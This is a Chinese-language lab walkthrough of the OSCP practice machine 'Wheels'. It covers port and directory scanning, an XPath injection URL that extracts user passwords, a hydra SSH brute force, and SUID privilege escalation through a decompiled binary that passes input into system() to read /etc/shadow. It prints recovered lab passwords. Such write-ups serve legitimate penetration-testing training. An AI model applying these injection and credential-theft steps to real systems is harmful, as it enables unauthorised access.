OSCP-Wheels

OSCP是一个专门针对Kali Linux渗透测试培训课程的专业认证,官方提供了很多练习靶场,而Wheels就是其中一个。

0x01 启动机器

tips: OSCP有一个内置的KaliLinux,它和VPN不能同时存在,所以需要先连接VPN。

先下载openvpn文件,然后使用kali连接VPN。然后开启靶机。开启稍等几分钟,就会给我们一个靶机IP。

0x02 端口扫描

使用nmap扫描常用端口的开放情况顺便查看一下服务版本

nmap -sS -sV 192.168.180.202

可以看到常用端口仅开放了22和80端口,那么这个靶场极有可能存在web漏洞,因为ssh出现漏洞的情况比较少。

0x03 目录扫描

使用目录扫描工具简单扫一下目录,我这里使用dirsearch

dirsearch -u http://192.168.180.202

通过扫描结果,可以看出来是一个php网站,并且存在注册和登录的功能。访问主页试试看。

在主页上可以发现有五个选项卡,分别是主页、注册和登录还有Employee portal和 Get a QUOTE。其中后面两个选项卡会跳转到登录页面,也就是说有部分信息只有登录了我们才能看到。其中,在底部有一些公司的电话以及邮箱等信息。

0x04 注册登录

点击register选项卡,可以看到有三个选项。接下来,我们来注册一个账号试试。

注册成功后左上角会出现successful字样表示成功注册。接下来我们来登录试试。

登录之后再来点击后面的选型卡看看。

提示禁止访问,想一下,这个选项的名字叫做Employee portal,可能跟账号权限有关,那么它后台怎么判断注册的账号是否为授权账号呢,显而易见,大概率是通过邮箱,因为注册的时候需要邮箱。那么我们再重新注册一个账号通过该公司的邮箱。

成功创建用户,再去尝试访问portal.php试试。

这个时候就能正常访问了,可以看到有一个表单,可以通过选项卡筛选出一些信息。

0x05 XPATH注入

选择car选项,点击submit,会出现一些人名的信息。选择bike选项提交也会出现一些人名信息,我们先将这些人名信息记录下来,后面说不定有用。

接下来我们来看看服务器是如何取出这些数据的,主要看两个选项卡的URL链接。

http://192.168.180.202/portal.php?work=bike&action=search
http://192.168.180.202/portal.php?work=car&action=search

可以看到通过给work传送参数来获取数据的,那么就说明参数可控,我们可以试试是否存在注入,直接在参数后面加上单引号。

报错了,报的是XML实体错误,说明它是通过查询XML数据来回显的。那么这个时候我们就可以尝试使用Xpath注入了。xpath注入具体的原理就不在此赘述了。经过几番尝试,成功查询到password字段。

http://192.168.180.202/portal.php?work=%27)]/password%20|%20a[contains(a,%27&action=search

通过XPATH注入我们成功获取到了6个密码。刚好前面有6个人名可以当作用户名,接下来将密码存在pass.txt里。尝试一下SSH爆破。

hydra -L user.txt -P pass.txt  ssh://192.168.180.202

成功爆破出bob的密码为Iamrockinginmyroom1212。直接连接SSH可以获取第一个flag。

0x06 提权

suid提权

# 查找当前系统上存在s权限的文件
find / -perm -u=s type f 2>/dev/null

我们发现出现的第一个文件就非常可疑,因为它不是一个系统默认的文件,但是它具有s权限,重点看看这个文件。

初步判断这个程序应该是用来读取文件的,读取什么文件由用户输入,程序给了两个选项。具体是做什么的我们将这个程序下载下来分析。

scp getlist root@192.168.45.27:/root/   # 利用scp将文件传输到kali的root目录下面

将getlist文件使用逆向工具打开,获取程序源代码。

undefined8 main(void)

{
  __uid_t __uid;
  char *pcVar1;
  undefined8 local_148;
  undefined8 local_140;
  undefined8 local_138;
  undefined8 local_130;
  undefined8 local_128;
  undefined8 local_120;
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  char local_78 [104];
  int local_10;
  int local_c;

  puts("\n");
  printf("Which List do you want to open? [customers/employees]: ");
  fgets(local_78,100,stdin);
  pcVar1 = strchr(local_78,0x3b);
  if (((pcVar1 == (char *)0x0) && (pcVar1 = strchr(local_78,0x7c), pcVar1 == (char *)0x0)) &&
     (pcVar1 = strchr(local_78,0x26), pcVar1 == (char *)0x0)) {
    pcVar1 = strstr(local_78,"customers");
    if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(local_78,"employees"), pcVar1 == (char *)0x0)) {
      printf("Oops something went wrong!!");
      return 0;
    }
    puts("Opening File....\n");
    local_148 = 0;
    local_140 = 0;
    local_138 = 0;
    local_130 = 0;
    local_128 = 0;
    local_120 = 0;
    local_118 = 0;
    local_110 = 0;
    local_108 = 0;
    local_100 = 0;
    local_f8 = 0;
    local_f0 = 0;
    local_e8 = 0;
    local_e0 = 0;
    local_d8 = 0;
    local_d0 = 0;
    local_c8 = 0;
    local_c0 = 0;
    local_b8 = 0;
    local_b0 = 0;
    local_a8 = 0;
    local_a0 = 0;
    local_98 = 0;
    local_90 = 0;
    local_88 = 0;
    snprintf((char *)&local_148,200,"/bin/cat /root/details/%s",local_78);
    local_c = open("/dev/null",0x401);
    local_10 = dup(2);
    dup2(local_c,2);
    __uid = geteuid();
    setuid(__uid);
    system((char *)&local_148);
    dup2(local_10,2);
    close(local_10);
    close(local_c);
    write(2,&DAT_00102008,1);
  }
  return 0;
}

通过查看这段反编译后的代码,我们可以知道这段程序存在漏洞,因为它没有对点进行过滤,也没有对用户所输入的字符串做验证,通过这两个点,我们就可以读取该主机的任何文件,/etc/shadow包含了root密码,我们可以直接读它然后利用john破解出root密码。

绕过这个程序正常查看文件的功能,读取/etc/shadow文件,将内容保存为hash.

利用九头蛇爆破shadow文件,使用kali自带的字典。成功爆破出root密码为highschoolmusical。

使用密码登录root账户,获取存放在root目录下的flag2。

  • 20
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值